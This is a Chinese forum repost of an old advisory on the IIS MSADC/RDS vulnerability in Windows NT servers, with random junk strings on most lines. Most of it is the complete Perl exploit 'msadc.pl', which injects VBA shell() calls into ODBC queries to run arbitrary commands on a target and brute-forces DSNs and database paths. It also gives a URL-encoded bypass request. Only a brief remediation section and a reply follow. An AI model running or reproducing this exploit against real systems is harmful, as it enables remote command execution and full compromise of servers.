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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) "IJ1b~j?  
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涉及程序: I WT|dA >  
Microsoft NT server Oel%l Y}m3  
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描述: pox;NdX7  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 $Sm iN'7;  
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详细: u@Ni *)p`  
如果你没有时间读详细内容的话,就删除: 1:DA{ejS  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 4Rp[>}L  
有关的安全问题就没有了。 ESIeZhXVH  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 `\ nKPj  
&432/=QSm0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 J7EWaXGbz  
关于利用ODBC远程漏洞的描述,请参看: +Swl$ab  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 9}K K]m6u}  
h3\(660>$  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 p@DVy2,EY  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp y^X]q[-?  
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这里不再论述。 \G/ZA) t  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 8 f~M6  
':\bn:;  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset h6`VU`pPI  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \Yv4 4*I`  
md9JvbB  
Yu[MNX ;G  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Kp;<z<  
_S &6XNV  
#!perl F5UHkv"K&O  
# [ f<g?w  
# MSADC/RDS 'usage' (aka exploit) script 4w 7vgB  
# .",BLuce  
# by rain.forest.puppy b?M. 0{"H  
# D iHj!tZN  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ^h`rA"F\  
# beta test and find errors! Hp(41Eb,  
:q2RgZE  
use Socket; use Getopt::Std; 5Ktll~+:#  
getopts("e:vd:h:XR", \%args); - ikq#L){  
:de4Fje/4y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; n34d "l3  
h^{ aG])  
if (!defined $args{h} && !defined $args{R}) { 3c`  
print qq~ mxc^IRj  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z0V6cikW6  
-h <host> = host you want to scan (ip or domain) 54s90  
-d <seconds> = delay between calls, default 1 second 0(uba3z  
-X = dump Index Server path table, if available sG|,#XQ  
-v = verbose hn&NypI  
-e = external dictionary file for step 5 3Dh{#"88  
_|{pO7x]oG  
Or a -R will resume a command session !D 'A  
S->Sp  
~; exit;} sv\=/F@n  
,>pv>)u{  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Y\(?&7Aax  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} puF*WxU)  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 0V2~  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); p+2%LYR u  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ]h=y  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } :`@W`V?6-  
W3MH8z   
if (!defined $args{R}){ $ret = &has_msadc; p5nrPL  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} tKi ^0vE8  
dr"@2=Z  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^h<ElK  
. "cmd /c "; VhgcvS@V  
$in=<STDIN>; chomp $in; s"wz !{G4  
$command="cmd /c " . $in ; 0|rdI,z  
IPY[x|  
if (defined $args{R}) {&load; exit;} ,;=is.h9  
FlH=Pqc  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; T(kG"dz   
&try_btcustmr; p|)j{nc  
p,)pz_M  
print "\nStep 2: Trying to make our own DSN..."; Ao *{#z   
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ef:Zi_o   
HhTD/   
print "\nStep 3: Trying known DSNs..."; iSMVV<7  
&known_dsn; <ou=f'  
'sjks sy.3  
print "\nStep 4: Trying known .mdbs..."; dpcv'cRfw  
&known_mdb; r?Pk}Q  
$! UEpQ  
if (defined $args{e}){ lYrW"(2  
print "\nStep 5: Trying dictionary of DSN names..."; <+`}: A  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } |e&hm ~R1  
6"bdbV=t  
print "Sorry Charley...maybe next time?\n"; Hg[AulNna  
exit; f[$Z<:D-ve  
WTC/mcS  
############################################################################## oJ 0 #U  
73E[O5?b  
sub sendraw { # ripped and modded from whisker t(- 5l  
sleep($delay); # it's a DoS on the server! At least on mine... ~0{F,R.$  
my ($pstr)=@_; vqwSOh|P9  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #X<s_.7DJ  
die("Socket problems\n"); kx[h41|n  
if(connect(S,pack "SnA4x8",2,80,$target)){ cvnRd.&  
select(S); $|=1; ^0"[l {  
print $pstr; my @in=<S>; /gLi(Uw  
select(STDOUT); close(S); Zu^J X/um  
return @in; $Mqw)X&q  
} else { die("Can't connect...\n"); }} ARid   
kc"SUiy/  
############################################################################## _ 3jY,*  
`vrLFPdO  
sub make_header { # make the HTTP request ZOHGGO]1M  
my $msadc=<<EOT `S/;S<';  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 a#P{[  
User-Agent: ACTIVEDATA ey[+"6Awne  
Host: $ip d ?OsVT; U  
Content-Length: $clen AkV8}>G?#A  
Connection: Keep-Alive Y/n],(t)  
^@xn3zJ  
ADCClientVersion:01.06 )}R w@70L-  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Q-f?7*>  
C C`Y r  
--!ADM!ROX!YOUR!WORLD! k*= #XbX  
Content-Type: application/x-varg @RI\CqFHR  
Content-Length: $reqlen ~YrO>H` B  
' sTMUPg`  
EOT *8xMe  
; $msadc=~s/\n/\r\n/g; 1"} u51  
return $msadc;} %>k$'UWzK  
5 ]@"f/  
############################################################################## H5p&dNO  
lhx]r}@'MC  
sub make_req { # make the RDS request A{QA0X!p  
my ($switch, $p1, $p2)=@_; {vAv ;m  
my $req=""; my $t1, $t2, $query, $dsn; 2z0 27P-Q  
EEO)b_(  
if ($switch==1){ # this is the btcustmr.mdb query U>kL|X3 V  
$query="Select * from Customers where City=" . make_shell(); *`wgqin  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . [>U =P`  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} NYp46;  
3n=ftkI  
elsif ($switch==2){ # this is general make table query .uu[MzMIu  
$query="create table AZZ (B int, C varchar(10))"; XSz)$9~hk  
$dsn="$p1";} ~i/K7qZ  
xsdi\ j;n>  
elsif ($switch==3){ # this is general exploit table query 0:4w@"Q  
$query="select * from AZZ where C=" . make_shell(); dn@_\5  
$dsn="$p1";} Lkl ^ `  
Mi&jl_&  
elsif ($switch==4){ # attempt to hork file info from index server :Z5Twb3h  
$query="select path from scope()"; xc6A&b>jI  
$dsn="Provider=MSIDXS;";} Q !G^CG  
6'1m3<G_  
elsif ($switch==5){ # bad query XhG3Of-6  
$query="select"; O;?Nz:/q  
$dsn="$p1";} uu+)r  
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$t1= make_unicode($query); T:(c/ >  
$t2= make_unicode($dsn); whvvc2  
$req = "\x02\x00\x03\x00"; I9;,qd%<T  
$req.= "\x08\x00" . pack ("S1", length($t1)); `E2HQA@  
$req.= "\x00\x00" . $t1 ; $^j#z^7  
$req.= "\x08\x00" . pack ("S1", length($t2)); /L? ia  
$req.= "\x00\x00" . $t2 ; rRzc"W}K+  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; C;NG#4;'  
return $req;} x 2Cp{+}  
&+zS4)UK  
############################################################################## ct![eWsuB  
~zT743  
sub make_shell { # this makes the shell() statement R\d)kcy4  
return "'|shell(\"$command\")|'";} tKKQli4Mn4  
,c9K]>8m`  
############################################################################## &pZn cm  
RYuR&0_{  
sub make_unicode { # quick little function to convert to unicode d/Y#oVI  
my ($in)=@_; my $out; wmnh7'|0u  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } MGE8S$Z  
return $out;} X(*MHBd  
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############################################################################## 6@; P  
#:LI,t  
sub rdo_success { # checks for RDO return success (this is kludge) ;_Z[' %  
my (@in) = @_; my $base=content_start(@in); $I }k>F  
if($in[$base]=~/multipart\/mixed/){ c}r"O8M  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;o-c.-!F  
return 0;} o-_H+p6a  
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############################################################################## T.?}iz=ZEq  
9B<aYp)  
sub make_dsn { # this makes a DSN for us KoKd.%  
my @drives=("c","d","e","f"); G=l-S\0@  
print "\nMaking DSN: "; Ek%mX"  
foreach $drive (@drives) { XlDN)b5v{  
print "$drive: "; `4kVe= {  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . {kNV|E  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Usz O--.C  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ap|$8 G  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; T_/ n#e  
return 0 if $2 eq "404"; # not found/doesn't exist @\s*f7  
if($2 eq "200") { -b$m<\0*  
foreach $line (@results) { ]<Kkq !  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} zVyMmw\  
} return 0;} -"~XI~a@Wo  
{7Q)2NC  
############################################################################## ?3=y]Vb+  
tqXr6+!Q  
sub verify_exists { fobnK~2  
my ($page)=@_; ^9fY %98  
my @results=sendraw("GET $page HTTP/1.0\n\n"); %v)O!HC}  
return $results[0];} H=v=)cUe[  
S";c7s  
############################################################################## &f($= 68  
9mRP%c#(  
sub try_btcustmr { KI Xp+Z  
my @drives=("c","d","e","f"); ]wm<$+@  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ;nbV-<e  
(utk)  
foreach $dir (@dirs) { )wyC8`&-  
print "$dir -> "; # fun status so you can see progress ,y}@I"  
foreach $drive (@drives) { 'B yB1NL  
print "$drive: "; # ditto A} v;uNS]  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; +LwwI*;b  
$reqlenlen=length( "$reqlen" ); _{&bmE  
$clen= 206 + $reqlenlen + $reqlen; L~|_CRw  
@<`P-+m  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); #G!\MYfQt  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} B|SE |  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} t5RV-$  
=M`Xu#eRk  
############################################################################## qN\?cW'  
tg6iHFa  
sub odbc_error { /l>!7  
my (@in)=@_; my $base; jT=fq'RK  
my $base = content_start(@in); PT39VI =  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this )0?u_Z]w9  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]e6$ ={  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Q4ZKgcC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @id!F<+%oD  
return $in[$base+4].$in[$base+5].$in[$base+6];} H;{IOBo  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; IN7Cpg~9%  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . P"f4`q  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #Oi{7~  
sWv!ig_  
############################################################################## 9%Qlg4~<s  
~yiw{:\  
sub verbose { _lrvK99  
my ($in)=@_; V@o#" gZ  
return if !$verbose; {5 Sy=Y  
print STDOUT "\n$in\n";} fUq:`#Q  
Zk~~`h  
############################################################################## 3HqTVq`&  
N"8'=wB  
sub save { Y^tUcBm\  
my ($p1, $p2, $p3, $p4)=@_; =z!/:M  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; unc8WXW  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ek1<9" y  
close OUT;} Q6;bORN  
Y_nl9}&+C0  
############################################################################## GB4^ 4Ajx  
sA2esA@C<o  
sub load { W:>XXUU  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; yT|44 D2j  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); -% \LW1  
@p=<IN>; close(IN); 0K4A0s_R`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); TeRH@oI  
$target= inet_aton($ip) || die("inet_aton problems"); 4Z.Dz@.c(  
print "Resuming to $ip ..."; aGNb  Cm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; *$Y_ %}  
if($p[1]==1) { xX.kKEo"d  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; '*D>/hn|:]  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; .iYp9?t  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); W. BX6  
if (rdo_success(@results)){print "Success!\n";} ? =G{2E.  
else { print "failed\n"; verbose(odbc_error(@results));}} aC94g7)`  
elsif ($p[1]==3){ GT,1t=|&V  
if(run_query("$p[3]")){ Y<h6m]H  
print "Success!\n";} else { print "failed\n"; }} xnxNc5$oE  
elsif ($p[1]==4){ Rxlz`&   
if(run_query($drvst . "$p[3]")){ EY^?@D_<  
print "Success!\n"; } else { print "failed\n"; }} VS3lz?o?6g  
exit;} %7[q%S  
{q! :t0X.Y  
############################################################################## lvx[C7?  
3  $a;  
sub create_table { OwPXQ 3S  
my ($in)=@_; 5Od&-~O  
$reqlen=length( make_req(2,$in,"") ) - 28; 5mX^{V&^  
$reqlenlen=length( "$reqlen" ); ZCuoYE$g  
$clen= 206 + $reqlenlen + $reqlen; wxJoWbn  
my @results=sendraw(make_header() . make_req(2,$in,"")); kB.CeG]tk  
return 1 if rdo_success(@results); k$GtzjN  
my $temp= odbc_error(@results); verbose($temp); 2~R%_r+<  
return 1 if $temp=~/Table 'AZZ' already exists/; 5Q\ hd*+g  
return 0;} wjXv{EsMq  
#v; :K8  
############################################################################## =IKgi-l*  
Gk xtGe  
sub known_dsn { wg<t*6&'x  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 45k.U$<|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", <}T7;knO  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Yv.7-DHNl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Xl:.`{5L  
a(kY,<}  
foreach $dSn (@dsns) { v 6s]X*l?  
print "."; Rg^ps  
next if (!is_access("DSN=$dSn")); ;iW>i8  
if(create_table("DSN=$dSn")){ M%WO  
print "$dSn successful\n"; OF2 W UcQ  
if(run_query("DSN=$dSn")){ a"`> J!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { WL?qulC}h1  
print "Something's borked. Use verbose next time\n";}}} print "\n";} }0?XF/e(R  
Shv$"x:W  
############################################################################## OZA^L;#>  
V"B/4v>  
sub is_access { )2Bb,p<Wr  
my ($in)=@_; C-\3,  
$reqlen=length( make_req(5,$in,"") ) - 28; xIwILY|W=  
$reqlenlen=length( "$reqlen" ); O`5hj q#  
$clen= 206 + $reqlenlen + $reqlen; \ AIFIy  
my @results=sendraw(make_header() . make_req(5,$in,""));  /PTq.  
my $temp= odbc_error(@results); vqZBDQ0  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); t)= dKC  
return 0;} $+PyW( r  
[RY Rt/?Q  
############################################################################## \}~71y}  
34Cnbtq^  
sub run_query { P&Uj?et"  
my ($in)=@_; )x~ /qHt  
$reqlen=length( make_req(3,$in,"") ) - 28; PE g]z  
$reqlenlen=length( "$reqlen" ); WZTAXOw  
$clen= 206 + $reqlenlen + $reqlen; FmFjRYA W  
my @results=sendraw(make_header() . make_req(3,$in,"")); J~n|5* cz  
return 1 if rdo_success(@results); W23Q>x&S  
my $temp= odbc_error(@results); verbose($temp); Te`@{>  
return 0;} i[ >U#5  
tfD7!N{  
############################################################################## fz A Fn$[  
x6^Y&,y9kU  
sub known_mdb { @AM11v\:  
my @drives=("c","d","e","f","g"); e)N< r  
my @dirs=("winnt","winnt35","winnt351","win","windows"); +z:>Nl  
my $dir, $drive, $mdb; /4N?v. jf  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; +prUau*  
mkhWbzD'S  
# this is sparse, because I don't know of many _8!x  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 0X4)=sJP  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 3y,2RernK  
"\\system32\\certmdb.mdb", @biU@[D  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -+M360  
JPHM+3v  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =z]rZSq*o  
"\\cfusion\\cfapps\\forums\\forums_.mdb", uGF{0 )0g  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", t2YB(6w+xg  
"\\cfusion\\cfapps\\security\\realm_.mdb", gVe]?Jva`  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", E-($Xc  
"\\cfusion\\database\\cfexamples.mdb", T "hjL  
"\\cfusion\\database\\cfsnippets.mdb", wph8ln"C-  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ;mRZ_^V;  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", oe|8  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Xk/iyp/  
"\\cfusion\\database\\smpolicy.mdb", ~y?Nn8+&f  
"\\cfusion\\database\cypress.mdb", $VB dd~f  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", dwQ1~  
"\\website\\cgi-win\\dbsample.mdb", q]?)c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", lHDZfwJ&C1  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" K&zW+C b  
); #these are just 8};kNW^2m  
foreach $drive (@drives) { h"/'H)G7_&  
foreach $dir (@dirs){ |a a\t  
foreach $mdb (@sysmdbs) { K&RIF]0#G  
print "."; _C (fz CK  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ CBF<53TshR  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; dpK -  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ G.^)5!By  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; QqRF?%7q"q  
} else { print "Something's borked. Use verbose next time\n"; }}}}} tC(MaI  
p2k`)=iX  
foreach $drive (@drives) { "}#%h&,  
foreach $mdb (@mdbs) { \*'@F+  
print "."; Kn<+Au_]L  
if(create_table($drv . $drive . $dir . $mdb)){ =mF"D:s*  
print "\n" . $drive . $dir . $mdb . " successful\n"; >3pT).wH|M  
if(run_query($drv . $drive . $dir . $mdb)){ TOF V`7q;3  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RwYFBc  
} else { print "Something's borked. Use verbose next time\n"; }}}} ?{jey_]M  
} &3;"$P  
D~BL Txq  
############################################################################## g4W/T  
H(tC4'tA  
sub hork_idx { D[?;+g/  
print "\nAttempting to dump Index Server tables...\n"; !icI Rqcf=  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; w-2#CX8jY  
$reqlen=length( make_req(4,"","") ) - 28; PTLlLa85<  
$reqlenlen=length( "$reqlen" ); fQ~TZ:UrU  
$clen= 206 + $reqlenlen + $reqlen; \HkBp& bqK  
my @results=sendraw2(make_header() . make_req(4,"","")); l qwy5#  
if (rdo_success(@results)){ [z ]P5  
my $max=@results; my $c; my %d; y.}{KQ"a*  
for($c=19; $c<$max; $c++){ ,msP(*qoI  
$results[$c]=~s/\x00//g; 1G"ohosmF  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; *S"RU~1_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 5S2 j5M00  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ]z5hTY  
$d{"$1$2"}="";} rMHh!)^#W  
foreach $c (keys %d){ print "$c\n"; } 9(O eH7  
} else {print "Index server doesn't seem to be installed.\n"; }} d(TN(6g@  
B@NBN&Fr  
##############################################################################  }( CYok  
HfgTc h  
sub dsn_dict { &VA^LS@b  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 71Za!3+  
while(<IN>){ ^<-)rzTI  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; %OB>FY:|  
next if (!is_access("DSN=$dSn")); IW&*3I<K  
if(create_table("DSN=$dSn")){ 0ju-l= w  
print "$dSn successful\n"; LU+SuVm  
if(run_query("DSN=$dSn")){ Bpm COA  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { s]O Z+^Z  
print "Something's borked. Use verbose next time\n";}}} rks"y&&Nc  
print "\n"; close(IN);} ( H&HSs  
4x(m.u@  
############################################################################## z-b78A/8  
8a`3eM~?[  
sub sendraw2 { # ripped and modded from whisker RXg\A!5GV  
sleep($delay); # it's a DoS on the server! At least on mine... |aAyWK  S  
my ($pstr)=@_; &M<"Fmn  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || TWGn: mi  
die("Socket problems\n"); j6RV{Lkr_  
if(connect(S,pack "SnA4x8",2,80,$target)){ c0o Z7)*}  
print "Connected. Getting data"; "igA^^?X1N  
open(OUT,">raw.out"); my @in; pe0ax- Zv  
select(S); $|=1; print $pstr; }/&Zo=Q$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} :$k1I-^R  
close(OUT); select(STDOUT); close(S); return @in; DbLo{mFEIj  
} else { die("Can't connect...\n"); }} bGL}nPo  
J`)/\9'&&  
############################################################################## +6$+] u]  
s>I]_W)Pt  
sub content_start { # this will take in the server headers $[?N^   
my (@in)=@_; my $c; /<n7 iIK)  
for ($c=1;$c<500;$c++) { [?|yQ x  
if($in[$c] =~/^\x0d\x0a/){ E:B"!Y6  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } vs[!B-  
else { return $c+1; }}} D (8Z90  
return -1;} # it should never get here actually 4'*-[TKC  
{<@ud0A:\  
############################################################################## .\T!oSb4[  
W_E^+Wl@  
sub funky { v]EZYEXFL)  
my (@in)=@_; my $error=odbc_error(@in); $Wj{B@k  
if($error=~/ADO could not find the specified provider/){ _AX,}9  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 3N- '{c6]U  
exit;} q4w]9b/  
if($error=~/A Handler is required/){ p+|8(w9A${  
print "\nServer has custom handler filters (they most likely are patched)\n"; Z!~_#_Ugl  
exit;} {6h 1  
if($error=~/specified Handler has denied Access/){ ~cSXBc,+  
print "\nServer has custom handler filters (they most likely are patched)\n"; du$M  
exit;}} MGMJeq vr  
PN?;\k)"  
############################################################################## COu5Tu^  
xWXLk )A  
sub has_msadc { RV_I&HD!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 2( 0%{*m  
my $base=content_start(@results); 1E / G+pm  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qpjZ-[UC  
return 0;} U m\HX6  
}DM W,+3  
######################## gBh X=2%  
zJW2F_  
f~\H|E8(  
解决方案: w^ z ftm  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll :%J;[bS+  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 yOQae m^O  
{g1"{  
拿出来充数 哈哈
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